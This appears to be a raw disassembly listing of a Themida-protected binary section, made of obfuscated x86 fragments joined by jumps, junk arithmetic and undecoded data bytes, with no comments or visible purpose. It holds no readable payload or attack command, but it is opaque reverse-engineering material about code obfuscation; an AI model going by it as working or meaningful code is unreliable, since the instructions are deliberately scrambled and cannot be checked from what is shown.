		jmp	loc_512859
; ---------------------------------------------------------------------------
		dd 0E9BCF380h, 0FFFF9C3Ch, 4B850h, 0D4E90000h, 68FFFEDAh
		dd 2ACh, 83242C89h, 0B1E904ECh,	5A000004h, 5009CB80h, 0FF6DD0E9h
		dd 1BB53FFh, 1000000h, 0E8835BD8h, 1DE955FFh, 56FFFF65h
		dd 0BB5D97BEh, 5EF7895Bh, 43042405h, 0EC6BE93Ah, 0D0F7FFFEh
		dd 0FFFF0548h, 0B951FFFFh, 0B0B9975Ah, 0C8BC801h, 4C48124h
		dd 1000000h, 2434FFC7h,	15D5E9h, 1C77FF00h, 0D359669Dh
		dd 0E99C241Ch, 0FFFEC008h, 74BFF281h, 0E2C177FEh, 2E2C107h
		dd 0C60CF281h, 0C681EA28h, 16DA5113h, 0EE81D629h, 16DA5113h
		dd 34875B5Ah, 24248B24h, 0FF60DCE9h, 0D831ADFFh, 2D8C68h
		dd 241C8900h, 0FF42D2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_522225:				; CODE XREF: Themida_:0051010Fj
		and	eax, 4D744D36h
		inc	eax
		shl	eax, 7
		push	ebx
		mov	ebx, 0DFDDE681h
		add	eax, 235A21ACh
		add	eax, ebx
		jmp	loc_514220
; ---------------------------------------------------------------------------


loc_522240:				; CODE XREF: Themida_:0050F8C4j
		inc	edx
		shr	edx, 4
		jmp	loc_511C4F
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
		dd 4240481h, 5E000000h,	4C681h,	0C6830000h, 2E57E904h
		dd 0C29FFFFh, 0D1F75924h, 7D0A6857h, 1C890000h,	235D6824h
		dd 0F75B2041h, 5CF381D3h, 89B76EE6h, 0F7815BDFh, 5FB83A23h
		dd 34FFF929h, 0C4815F24h, 4, 0FFC805E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_522299:				; CODE XREF: Themida_:0051940Dj
		add	dword ptr [esp+4], 57ED54D3h
		pop	eax
		jmp	loc_5234DD
; ---------------------------------------------------------------------------
		db 83h
		dd 0C8904ECh, 0F672B524h, 9CB652D5h, 0FE5AF508h, 0F311E9CDh
		dd 0C483FFFEh, 4EC8104h, 89000000h, 9BE9242Ch, 81FFFEEFh
		dd 0DF785FC5h, 59C38102h, 8163DB34h, 2A0F66C3h,	736DE938h
		dd 5ADFFFFh, 11476369h,	0FFCFEDE9h, 101868FFh, 39E90000h
		db 6, 2	dup(0FFh)
; ---------------------------------------------------------------------------


loc_5222FB:				; CODE XREF: Themida_:0051A8E3j
		push	esp
		pop	ebp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		add	ebp, edi
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_50FE1D
; ---------------------------------------------------------------------------
		db 50h
		dd 0E95E5859h, 0FFFFBEBFh, 0E993B151h, 0FFFECB67h, 5266D800h
		dd 51E929B6h, 81FFFF91h, 0A91365C2h, 0E9F2015Eh, 0FFFF78CAh
		dd 8850DD88h, 0E9C388D0h, 1718h, 8B240C87h, 69E92424h
		dd 81FFFED0h, 4C4h, 24048700h, 6624248Bh, 9C240409h, 0FECF59E9h
		dd 6E0C1FFh, 3B4E5C25h,	6963053Ah, 0E0C11505h, 39BC0508h
		dd 0F52D0F37h, 31C2EE8Ah, 0F6DE9C5h, 0C281FFFFh, 7B394912h
		dd 0FF59BDE9h, 49C780FFh, 0E95BF928h, 0FFFED05Ch
; ---------------------------------------------------------------------------


loc_5223A8:				; CODE XREF: Themida_:0051A383j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	1B01h
		mov	[esp], ebp
		mov	ebp, 3A594EFBh
		neg	ebp
		jmp	loc_5118CF
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4, 4C181h, 0C870000h, 34875C24h, 62F7E924h, 0BD55FFFFh
		dd 313EFC4Fh, 3CE9EB29h
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5223EB:				; CODE XREF: Themida_:00514508j
		xchg	edi, [esp]
		pop	esp
		jmp	loc_511732
; ---------------------------------------------------------------------------
		dd 72AAEE81h, 0E6C1402Fh, 4F68108h, 1B2AEC9h, 0F8E8E9F1h
		dd 0C681FFFFh, 537A127Fh, 0F605E955h, 0CBAFFFFh, 564FDD14h
		dd 0F189D689h, 8124348Bh, 4C4h,	24148B00h, 0C104C483h
		dd 0E1C105E9h, 3B46E904h, 0B753FFFFh, 0C1D1E946h, 0D005FFFFh
		dd 5236FE2Ch, 0E9565556h, 0FFFF3A79h, 0E9241C31h, 0FFFF5395h
		dd 0E924348Bh, 0FFFEF674h
; ---------------------------------------------------------------------------


loc_522460:				; CODE XREF: Themida_:0051FD70j
		mov	eax, esp
		add	eax, 4
		jmp	loc_516FDA
; ---------------------------------------------------------------------------
		dd 4C4815Dh, 50000000h,	0FF23CDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_522479:				; CODE XREF: Themida_:005220DBj
		neg	esi
		sub	esi, 9CF3358Ah
		add	ebx, 3ADB6B0Ah
		sub	ebx, esi
		jmp	loc_5125CE
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 240C8924h, 0FFF2B3E9h, 240C89FFh, 0BB535954h, 0D510D55h
		dd 2EECC381h, 0E3817728h, 542913D9h, 0FEEC72E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5224B5:				; CODE XREF: Themida_:0051084Ej
		mov	ebx, [esp]
		add	esp, 4
		mov	esi, [esp]
		add	esp, 4
		mov	edx, ebx
		jmp	loc_51DCE5
; ---------------------------------------------------------------------------


loc_5224C8:				; CODE XREF: Themida_:00516336j
		shr	ebx, 5
		jmp	loc_521245
; ---------------------------------------------------------------------------
		dd 0FCCAE94Eh, 525EFFFEh, 6D0A4ABAh, 1634E96Dh,	0D1F7FFFFh
		dd 624EF181h, 0F6E96AC8h, 31FFFF99h, 0F0895AD6h, 0E924348Bh
		dd 0FFFF8F84h, 0EC0B00BFh, 7EE975h, 8B660000h, 89502404h
		dd 77E951E0h, 58000009h, 0E9242C87h, 0FFFFCC2Dh, 148BD631h
		dd 4C48324h, 555EF029h,	204954BDh, 96BF572Eh, 90FA425h
		dd 0F5815FFDh, 25F9700Bh, 756ACD81h, 0DDF730AAh, 0FFF632E9h
		dd 405FFh, 18680000h, 0E900004Ch, 0FFFF6F62h, 4EB835Ch
		dd 0C080E953h, 0BD66FFFFh, 89560002h, 4C681E6h,	83000000h
		dd 348702EEh, 0BCEBE924h, 0BE68FFFEh, 0E900006Dh, 0FFFF3F64h
		dd 0EF81474Fh, 1, 9A9E781h, 0D8683428h,	0E9000051h, 0FFFEBCE5h
; ---------------------------------------------------------------------------


loc_52259C:				; CODE XREF: Themida_:00521E7Bj
		mov	edx, 65A13923h
		or	ecx, edx
		pop	edx
		jmp	loc_517A15
; ---------------------------------------------------------------------------
		db 68h,	0A7h, 7Fh
		dd 2C890000h, 6BE6BD24h, 0E9453ECFh, 0FFFF9C6Fh, 0C4BB5359h
		dd 2938A55Dh, 0D8295BD8h, 0EFB5E955h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5225CE:				; CODE XREF: Themida_:005239EBj
		pop	ecx
		push	esi
		jmp	loc_51B035
; ---------------------------------------------------------------------------
		db 89h,	0E1h, 0E9h
		dd 816h, 0BA8EE947h, 34FFFFFFh,	92685F24h, 0E9000055h
		dd 0FFFF2882h
; ---------------------------------------------------------------------------


loc_5225F0:				; CODE XREF: Themida_:00522CC9j
		pop	dword ptr [esp]
		jmp	loc_51C4CF
; ---------------------------------------------------------------------------
		dd 0E924248Bh, 8FDh, 89240C89h,	0B85052E1h, 4, 5558C289h
		dd 0CB7A1FBDh, 5EDC106h, 8105EDC1h, 9B136DF5h, 38BF577Ah
		dd 0E90E1E49h, 0FFFF3643h, 6624248Bh, 0E9240489h, 0FFFEBBB8h
		dd 0E9242489h, 0FFFF43BAh, 5E1C05Bh, 8034C180h,	0D9F6ECC9h
		dd 0F6C6B753h, 39C780D7h, 805BF908h, 0C180A7F1h, 59C80089h
		dd 5368E92Ch, 0E9000052h, 0F6Fh, 6804C483h, 2D9h, 0FEFCE2E9h
		dd 54840FFh, 0A3F72D3h,	0E42DD0F7h, 31F10541h, 0EF8158C7h
		dd 69952575h, 55FFD31h,	5F0A0DCBh, 0DA042005h, 5BA12D54h
		dd 0E8290803h, 1ECFB951h, 0F74915D2h, 6FBD55D9h, 11DD57Ah
		dd 0F030E9E9h, 1489FFFEh, 0B2D5E924h, 822DFFFFh, 53CF310h
		dd 51FE0298h, 146DB82Dh, 24348B0Ch, 4C481h, 68520000h
		dd 4, 71E72D5Ah, 0D0015936h, 3671E705h,	2434FF59h, 5EE9575Ah
		dd 51FFFFB1h, 0FEC74BE9h, 0E5C05BFFh, 7973E906h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_522706:				; CODE XREF: Themida_:00510191j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	edx, ebp
		pop	ebp
		push	edi
		jmp	loc_51C982
; ---------------------------------------------------------------------------


loc_522722:				; CODE XREF: Themida_:0051306Dj
		mov	edi, esp
		push	ebp
		mov	ebp, 9146E9Ch
		xor	ebp, 5A9B0806h
		sub	ebp, 538F6696h
		add	edi, ebp
		jmp	loc_523327
; ---------------------------------------------------------------------------
		db 55h,	0E9h, 0EDh
		db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_522743:				; CODE XREF: Themida_:00515DADj
		mov	esp, [esp]
		push	ebx
		mov	ebx, 28BE4CB7h
		dec	ebx
		or	ebx, 7C6156D5h
		jmp	loc_516AE6
; ---------------------------------------------------------------------------


loc_522758:				; CODE XREF: Themida_:0051C2E8j
		sub	ebx, ebp
		pop	ebp
		sub	eax, 727720C3h
		add	eax, 9301E6Eh
		add	eax, ebx
		sub	eax, 9301E6Eh
		add	eax, 727720C3h
		jmp	loc_523BBA
; ---------------------------------------------------------------------------
		dw 51ACh
		dd 0FF8E88E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_52277D:				; CODE XREF: Themida_:0052290Cj
		pop	esp
		jmp	loc_51DCF8
; ---------------------------------------------------------------------------
		db 8Bh
		dd 89512404h, 4C181E1h,	81000000h, 4C1h, 240C8700h, 12E9505Ch
		dd 59000012h, 0FFC0B60Fh, 0E6E98734h, 50FFFEEFh, 0FFB42DE9h
		dd 0E78957FFh, 4C781h, 56E90000h, 8BFFFF51h, 0C481240Ch
		dd 4, 2474FF56h, 35E95E04h, 50FFFF4Bh, 9D09F9B8h, 0F60B0508h
		dd 0C501F762h, 4ED8358h, 5C242C87h, 50241C89h, 9B103AB8h
		dd 48E0D17Ch, 9C29CA0Dh, 0CAD1E951h, 248BFFFEh,	0C8B6624h
		dd 4EC8324h, 0E9241C89h, 0FFFFBB43h, 24048B66h,	4EC81h
		dd 26E90000h, 0B8FFFED0h, 0E5C04C0h, 242C8B50h,	4C481h
		dd 34FF0000h, 24048B24h, 8104C483h, 4C4h, 8BE95200h, 9FFFFB1h
		dd 0F68159CEh, 5BBE2016h, 0FF9F9FE9h, 2434FFFFh, 0FF2434FFh
		dd 81582434h, 4C4h, 4C48300h, 0AA368h, 0B0D9E900h, 0C87FFFFh
		dd 0F0015C24h, 5E2434FFh, 255968h, 242C8900h, 0B951E589h
		dd 4, 0E959CD01h, 0FFFEF4E6h, 5C241487h, 1EACBA52h, 0D30141E1h
		dd 8124148Bh, 4C4h, 81FB0100h, 0E11EACEBh, 0C3815F41h
		dd 4, 0E9241C33h, 0FFFEE3BFh
; ---------------------------------------------------------------------------


loc_5228BC:				; CODE XREF: Themida_:00521DF4j
		sub	ebx, eax
		pop	eax
		add	ebx, 391C3E5Bh
		push	esi
		mov	esi, 3CE93D5Fh
		sub	ebx, esi
		pop	esi
		push	ebx
		sub	dword ptr [esp], 5D1E7D68h
		pop	edi
		add	edi, 5D1E7D68h
		pop	ebx
		and	eax, edi
		push	dword ptr [esp]
		jmp	loc_51D96C
; ---------------------------------------------------------------------------


loc_5228E8:				; CODE XREF: Themida_:00514716j
		add	eax, ebx
		mov	ebx, [esp]
		push	ebp
		push	esp
		pop	ebp
		push	esi
		push	edx
		mov	edx, 6E3C44C8h
		push	ebp
		jmp	loc_52311B
; ---------------------------------------------------------------------------


loc_5228FD:				; CODE XREF: Themida_:0051D4ECj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_52277D
; ---------------------------------------------------------------------------


loc_522911:				; CODE XREF: Themida_:005114B1j
		push	ebp
		push	66A6657Eh
		jmp	loc_517E5A
; ---------------------------------------------------------------------------
		dd 0E95AD588h, 0FFFF03DEh, 4C481h, 2CE90000h, 0FFFFFAh
		dd 0F03059CEh, 8124148Bh, 4C4h,	7C8C6800h, 0C890000h, 52D8B524h
		dd 0E6C071B6h, 2EEC007h, 0FF1C9FE9h, 2474FFFFh,	240C8B04h
		dd 8F04C483h, 248B2404h, 240CD224h, 0B882E99Ch,	0C381FFFEh
		dd 63C174D3h, 241C8759h, 0FEF47DE9h, 0E08950FFh, 405h
		dd 4E88300h, 5C240487h,	54240C89h, 3C9C6859h, 1C890000h
		dd 220C6824h, 4890000h,	4B824h,	0C3890000h, 8124048Bh
		dd 4C4h, 5BD90100h, 8904EC83h, 2B82404h, 680B9B05h, 71Ch
		dd 0BA241489h, 1FCE6F13h, 148BD001h, 4C48124h, 0E9000000h
		dd 0FFFEF9B1h, 8904EC83h, 0E0892404h, 405h, 40500h, 0FF500000h
		dd 58042474h, 5C24048Fh, 26AF68h, 9245E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_522A02:				; CODE XREF: Themida_:00511F75j
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	6DFFh
		jmp	loc_521D44
; ---------------------------------------------------------------------------


loc_522A17:				; CODE XREF: Themida_:00514FE3j
		push	esp
		jmp	loc_516587
; ---------------------------------------------------------------------------


loc_522A1D:				; CODE XREF: Themida_:0051323Bj
		sub	dword ptr [esp+8], 62EF6C9Ch
		add	dword ptr [esp+8], 656A1692h
		pop	edi
		sub	[esp+4], esi
		sub	dword ptr [esp+4], 0C8E5E99h
		push	dword ptr [esp]
		jmp	loc_520D45
; ---------------------------------------------------------------------------
		dw 2BAh
		dd 1000000h, 3FD1E9D0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_522A4E:				; CODE XREF: Themida_:00516A6Ej
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_51757E
; ---------------------------------------------------------------------------


loc_522A5C:				; CODE XREF: Themida_:0051D992j
		mov	[esp], esi
		mov	esi, 1FBF0453h
		shr	esi, 5
		jmp	loc_516414
; ---------------------------------------------------------------------------
		dd 31243433h, 34332434h, 4895C24h, 0D1BB5324h, 680C7954h
		dd 50F1h, 68240C89h, 430E3F86h,	83240C8Bh, 0E95604C4h
		dd 0FFFEC851h, 88293FBFh, 5BDF295Ch, 0E95FFA01h, 0FFFECFF7h
		dd 0BA52465Dh, 4DDB22B7h, 0FFA17AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_522AB5:				; CODE XREF: Themida_:00516025j
		add	eax, 5B343CABh
		add	ecx, eax
		pop	eax
		and	ecx, 26C020FCh
		push	ebx
		push	ebp
		mov	ebp, 78D05887h
		mov	ebx, ebp
		jmp	loc_519A02
; ---------------------------------------------------------------------------
		db 8Bh,	4, 24h
		dd 4C481h, 0E9500000h, 0FFFF93B5h
; ---------------------------------------------------------------------------


loc_522AE0:				; CODE XREF: Themida_:0051080Fj
		pop	eax
		push	esi
		mov	esi, 1FD91A5Fh
		sub	edi, 6F324A5Ch
		jmp	loc_515B69
; ---------------------------------------------------------------------------


loc_522AF2:				; CODE XREF: Themida_:0051EEE8j
		push	ebx
		push	edx
		mov	dl, 0F9h
		mov	bh, dl
		pop	edx
		jmp	loc_51F227
; ---------------------------------------------------------------------------


loc_522AFE:				; CODE XREF: Themida_:0051784Dj
		add	ecx, edi
		push	edi
		mov	edi, 5E6F07CCh
		sub	ecx, edi
		pop	edi
		mov	edi, [esp]
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_50F7CA
; ---------------------------------------------------------------------------


loc_522B1D:				; CODE XREF: Themida_:00511ED0j
		xor	edi, 581C46B4h
		jmp	loc_517DC6
; ---------------------------------------------------------------------------
		dd 800CC280h, 0D5282CF2h, 0FFA8E9E9h, 6E1C1FFh,	5184C181h
		dd 0CA893DCFh, 0E9240C8Bh, 0FFFFA7F2h, 815AD501h, 917B96C5h
		dd 0E9DD290Eh, 0FFFF3984h, 28B8505Fh, 0E90A8375h, 0FFFF98D8h
; ---------------------------------------------------------------------------


loc_522B64:				; CODE XREF: Themida_:0051D027j
		mov	eax, esp
		jmp	loc_51A140
; ---------------------------------------------------------------------------
		db 68h
		dd 31E012Ch, 0E9240C8Bh, 0FFFF503Ah
; ---------------------------------------------------------------------------


loc_522B78:				; CODE XREF: Themida_:00510B45j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	eax, [esp]
		push	ebx
		jmp	loc_51114B
; ---------------------------------------------------------------------------
		db 42h,	0E9h, 0B0h
		dd 0B4FFFF13h, 0E9E300CEh, 30h,	4C481h,	0C330000h, 240C3124h
		dd 0E9240C33h, 0FFFF8F71h, 0BCBE5659h, 11E6D52h, 52575EF2h
		dd 0FF1207E9h, 4BB53FFh, 0E9000000h, 0FFFF3C33h, 8ACAE958h
		dd 0E958FFFFh, 0FFFFB094h, 10AFC381h, 15829DDh,	241C8BDFh
		dd 9E0FE950h, 0F101FFFFh, 5E2434FFh, 0E904EC83h, 0FFFFBA3Ah
		dd 81243C8Bh, 4C4h, 0F49DE900h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_522C0A:				; CODE XREF: Themida_:00519419j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_51F81F
; ---------------------------------------------------------------------------


loc_522C18:				; CODE XREF: Themida_:005128BBj
		pop	edx
		jmp	loc_51A511
; ---------------------------------------------------------------------------
		dw 1C87h
		dd 34FF5C24h, 0DEE95D24h, 28FFFF41h, 4EC83C3h, 0B5240C89h
		dd 0D1C2E95Dh, 0FE29FFFEh, 0FF565D5Fh, 5E042474h, 2 dup(5C24048Fh)
		dd 24048966h, 0FF397DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_522C55:				; CODE XREF: Themida_:00520753j
		pop	ebx
		mov	eax, ebp
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	edx
		mov	edx, 65D96A51h
		jmp	loc_51C59E
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 39490A76h, 815FFD31h, 0A911A3CDh, 1C5811Fh, 51000000h
		dd 0AA66D868h, 0B643E939h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_522C96:				; CODE XREF: Themida_:005220F6j
		push	esp
		pop	ecx
		push	edx
		mov	edx, 4
		add	ecx, 35543E55h
		add	ecx, edx
		sub	ecx, 35543E55h
		jmp	loc_51EA8E
; ---------------------------------------------------------------------------
		db 1, 0E8h, 2Dh
		dd 14C386Bh, 0FEEB33E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_522CBD:				; CODE XREF: Themida_:0051C2FBj
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_5225F0
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4815A24h, 4, 4B951h, 0CA010000h, 215AE959h, 0EC81FFFFh
		dd 4, 0FFBE35E9h, 0BCF581FFh, 0E90EB11Dh, 0FFFF5E02h, 0E95BDE29h
		dd 0FFFFB50Ah, 0E681D6F7h, 16065604h, 4607E6C1h, 39E9D6F7h
		dd 53FFFEB6h, 0EB80A2B3h, 46F38055h, 0FEC6D4E9h, 52D101FFh
		dd 1188C288h, 0FEDB43E9h, 0D9F75DFFh, 0FFA328E9h, 35BF2DFFh
		dd 0BE5620DFh, 0ED08A41Ah, 295EF029h, 0FA2958C2h, 0FF9417E9h
		dd 0E95854FFh, 0FFFEE830h
; ---------------------------------------------------------------------------


loc_522D58:				; CODE XREF: Themida_:00512FFFj
		mov	ebp, esp
		jmp	loc_51F836
; ---------------------------------------------------------------------------


loc_522D5F:				; CODE XREF: Themida_:005136C9j
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_51E657
; ---------------------------------------------------------------------------
		db 89h
		dd 70B62414h, 80A5B353h, 0EB808FF3h, 5BDE0029h,	5066C6FEh
		dd 0CCFEF488h, 5866E688h, 0E9E4F680h, 0FFFFB408h, 3CEC6855h
		dd 0E95D6F45h, 0FFFF39CCh, 81242C8Bh, 4C4h, 2DD0F700h
		dd 51A1AD99h, 0FFDD1EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_522DB9:				; CODE XREF: Themida_:005111E0j
		xor	[esp], eax
		jmp	loc_51D416
; ---------------------------------------------------------------------------
aQBTvS		db 'Q=v)',0Ah,0
		align 2
		dw 481h
		dd 424h, 1C53E900h, 481FFFFh, 424h, 24048F00h, 0FF6EABE9h
		dd 4C483FFh, 0D796E957h, 0BF57FFFFh, 54B25CF5h,	0DFF7D7F7h
		dd 8102E7C1h, 368C2CC7h, 61CEE9ADh, 0EB80FFFFh,	80C30089h
		dd 0EB8089C3h, 0B1515031h, 0F8A5E9E0h, 1489FFFEh, 2BA24h
		dd 81E90000h, 8FFFFF9Ah, 58C4E902h, 0EC81FFFFh,	4, 0B8240489h
		dd 15535EA0h, 4244481h,	7DA3153h, 0FFB1E0E9h, 0C01AB7FFh
		dd 895207EFh, 4C281E2h,	81000000h, 4EAh, 74FF5200h, 8F5A0424h
		dd 895C2404h, 0A0B22414h, 0FF0CBCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_522E75:				; CODE XREF: Themida_:00512B56j
		mov	edx, 71B77977h
		neg	edx
		inc	edx
		sub	edx, 8E488686h
		add	ecx, edx
		jmp	loc_515876
; ---------------------------------------------------------------------------
		dw 4B9h
		dd 0E9000000h, 0FFFED073h, 8924248Bh, 0E589242Ch, 0FF84D7E9h
		dd 0C8B66FFh, 0E0895024h, 0FFCA0FE9h, 240C8BFFh, 4C481h
		dd 0E1C10000h, 0F7D9F705h, 43C181D1h, 688ADF65h, 615Ch
		dd 81240C89h, 3DF62434h, 54E912B1h, 81FFFF9Fh, 4C4h, 805B6600h
		dd 0EC8061C4h, 0F6D4F662h, 69EC80DCh, 58E100h, 5A2C59C8h
		dd 0C22C942Ch, 0FF3980E9h, 241489FFh, 0FEB2EBE9h, 2BBFFh
		dd 0EC810000h, 4, 0E9242C89h, 0D24h
; ---------------------------------------------------------------------------


loc_522F18:				; CODE XREF: Themida_:0050FAD5j
		pop	ecx
		jmp	loc_514131
; ---------------------------------------------------------------------------
		dw 0ED81h
		dd 77534312h, 0FEBE80E9h, 240C8BFFh, 6804C483h,	29D9h
		dd 68241489h, 696D5E28h, 0FFCAA9E9h, 0E9F801FFh, 0FFFEC3ADh
; ---------------------------------------------------------------------------


loc_522F48:				; CODE XREF: Themida_:00517138j
		push	eax
		push	0B0A133Dh
		pop	eax
		or	eax, 63552C6Bh
		xor	eax, 6B5F3F7Fh
		mov	ecx, eax
		pop	eax
		add	ecx, ebx
		push	edx
		mov	edx, 0
		sub	edx, 322476E1h
		jmp	loc_5146B4
; ---------------------------------------------------------------------------
		db 81h
		dd 4C6h, 0D5BB5300h, 8123096Ah,	0AC4247F3h, 0B9F38162h
		dd 816CCF19h, 6A312FF3h, 0EB49E92Dh, 895CFFFEh,	2968242Ch
		dd 0E9361D4Eh, 0FFFED7A1h, 4ABA5252h, 150302Ah,	5A042454h
		dd 52240C8Bh, 0C281E289h, 4, 0FEE71BE9h, 65B868FFh, 2C890000h
		dd 760BD24h, 8DE960A7h
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------


loc_522FCF:				; CODE XREF: Themida_:00514234j
		mov	edx, eax
		jmp	loc_5186AF
; ---------------------------------------------------------------------------
		dw 489h
		dd 0D8685224h, 5A292D2Dh, 0FF5A2EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_522FE5:				; CODE XREF: Themida_:0050E8D7j
		pop	esi
		or	esi, 64DC11E0h
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 776C5FE3h
		xor	esi, ecx
		pop	ecx
		mov	ebp, esi
		pop	esi
		jmp	loc_51D9F8
; ---------------------------------------------------------------------------
		dw 8156h
		dd 7463242Ch, 515B6C95h, 0FFD308E9h, 574B9FFh, 0CD2912E2h
		dd 241C8B59h, 4C481h, 2C330000h, 242C3124h, 0E9242C33h
		dd 0FFFED6F2h, 8B240433h, 0C83B2424h, 0B1B2E99Ch, 0C483FFFEh
		dd 39C06804h, 0C890000h, 34FF5424h, 240C8B24h, 4C481h
		dd 0C4830000h, 4C18104h, 50000000h, 0CCCBE957h,	0CB89FFFFh
		dd 32DE959h, 148B0000h,	0C4DEE924h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_523076:				; CODE XREF: Themida_:00517C2Dj
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_51F126
; ---------------------------------------------------------------------------
		db 8Bh
		dd 8950243Ch, 405E0h, 0E9570000h, 0FFFF06DEh
; ---------------------------------------------------------------------------


loc_523090:				; CODE XREF: Themida_:0051C114j
		pop	cx
		jmp	loc_51BF0E
; ---------------------------------------------------------------------------
		db 0F7h
		dd 58D0E9D0h, 0C780FFFFh, 0E1B55172h, 0C0FFED80h, 0ED8007EDh
		dd 59EF288Dh, 0EFC0CFFEh, 9D19E907h, 0B850FFFFh, 76806DBDh
		dd 3666E5BAh, 58C23163h, 0FFFFBE56h, 0F201FFFFh, 51DAF75Eh
		dd 0FEF11BE9h, 0EA0159FFh, 62B4C281h, 815D3ECFh, 4ECh
		dd 24148900h, 42474FFh,	0E924148Bh, 0FFFFF6B9h,	83242489h
		dd 59042404h, 4BE56h, 0CEE90000h, 0C0FFFFA1h, 8AE903EBh
		dd 8FFFFEB8h, 24E92404h
		db 68h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_52311B:				; CODE XREF: Themida_:005228F8j
		mov	ebp, 57107CFh
		mov	esi, ebp
		pop	ebp
		add	esi, edx
		jmp	loc_520DC9
; ---------------------------------------------------------------------------
		dw 0E789h
		dd 0D57CE950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_523132:				; CODE XREF: Themida_:0051CD1Ej
		mov	[esp], ecx
		mov	ecx, 2FB906C6h
		push	edx
		push	esi
		jmp	loc_51D5AA
; ---------------------------------------------------------------------------
		db 89h,	0E2h, 81h
		dd 4C2h, 4BF5700h, 1000000h, 243C8BFAh,	8704C483h, 0E95C2414h
		dd 0FFFF4301h
; ---------------------------------------------------------------------------


loc_523160:				; CODE XREF: Themida_:00521637j
		xor	edx, 10D36E10h
		xor	edx, 62E8B1B6h
		or	eax, edx
		pop	edx
		not	eax
		not	eax
		not	eax
		add	eax, 0ADB6A15Eh
		add	ebx, eax
		push	dword ptr [esp]
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_523531
; ---------------------------------------------------------------------------
		db 80h
		dd 26E93BF1h, 81000001h, 0A859CCEBh, 81C30136h,	0A859CCC3h
		dd 0FA2EE936h, 0C483FFFFh, 8276E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5231B6:				; CODE XREF: Themida_:00510118j
		pop	esi
		push	ebx
		jmp	loc_51BB00
; ---------------------------------------------------------------------------


loc_5231BD:				; CODE XREF: Themida_:0051D1B9j
		push	630Ch
		mov	[esp], ecx
		jmp	loc_51F0F8
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 2754DB0h, 0D02E8C1h,	7826154Fh, 2D05E0C1h, 0D5DD54Dh
		dd 83E9C589h
		db 35h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5231E7:				; CODE XREF: Themida_:005121DBj
		xchg	eax, [esp]
		pop	esp
		jmp	loc_50FEE6
; ---------------------------------------------------------------------------
		dd 81241C8Bh, 4C4h, 0B388E900h,	555BFFFEh, 0B6CF1BDh, 24F58123h
		dd 0C156C77Ch, 0E58103E5h, 484D2D0Ah, 7299BB53h, 7768479Dh
		dd 89000017h, 3ABF243Ch, 0F76B5D3Fh, 2E7C1DFh, 7F45CF81h
		dd 0EF81268Bh, 431E6BA5h, 0E95FFB21h, 0FFFEC56Ch
; ---------------------------------------------------------------------------


loc_523240:				; CODE XREF: Themida_:0051667Bj
		push	ecx
		jmp	loc_518AB3
; ---------------------------------------------------------------------------
		dw 0EBD0h
		dd 8053C380h, 2904BBEBh, 0FFF0D7E9h, 240C89FFh,	563846B9h
		dd 0BEEE922h, 0F766FFFFh, 0E99C241Ch, 0FFFEAF84h
; ---------------------------------------------------------------------------


loc_52326C:				; CODE XREF: Themida_:00514AD6j
		shr	dl, 2
		or	dl, 0FCh
		or	dl, 25h
		shl	dl, 3
		xor	dl, 69h
		xor	bh, dl
		jmp	loc_51CBD1
; ---------------------------------------------------------------------------
		dw 4468h
		dd 8900002Ah, 5F682414h, 89000067h, 12BB241Ch, 0E96E1F6Ch
		dd 0FFFF15E1h, 8105EDC1h, 0CE6C59F5h, 96C58167h, 0E97AFD44h
		dd 0FFFF20DFh, 2890F581h, 0A9E92287h, 50FFFEF9h, 0FED0B5E9h
